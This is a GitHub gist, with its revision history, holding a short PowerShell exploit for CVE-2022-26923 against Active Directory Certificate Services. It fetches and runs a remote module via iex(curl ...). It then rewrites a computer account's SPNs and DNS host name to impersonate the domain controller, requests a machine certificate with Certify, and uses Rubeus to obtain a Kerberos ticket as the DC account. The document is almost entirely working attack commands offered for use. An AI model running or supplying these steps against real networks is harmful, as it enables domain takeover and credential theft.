Skip to content

Instantly share code, notes, and snippets.

@ASkyeye

ASkyeye/CVE-2022–26923.ps1

Forked from Wh04m1001/CVE-2022–26923.ps1
Created May 11, 2022 15:23
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save ASkyeye/d48577a458c4ceef3f7e65721b32b894 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save ASkyeye/d48577a458c4ceef3f7e65721b32b894 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @Wh04m1001 Wh04m1001 revised this gist May 11, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2022–26923.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -15,4 +15,4 @@ Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx


    .\Rubeus.exe asktgt /certificate:cert.pfx
    .\Rubeus.exe asktgt /certificate:cert.pfx /user:dc1$
  2. @Wh04m1001 Wh04m1001 revised this gist May 11, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion CVE-2022–26923.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -15,4 +15,4 @@ Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx


    .\Rubeus.exe asktgt /cert:cert.pfx
    .\Rubeus.exe asktgt /certificate:cert.pfx
  3. @Wh04m1001 Wh04m1001 created this gist May 11, 2022.
    18 changes: 18 additions & 0 deletions CVE-2022–26923.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )

    Import-ActiveDirectory
    Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose

    #in my testing i had to set dnshostname to $null first

    Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null

    Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local

    .\Certify.exe request /ca:DC1.batcave.local\batcave-DC1-CA /template:Machine /machine

    #linux
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx


    .\Rubeus.exe asktgt /cert:cert.pfx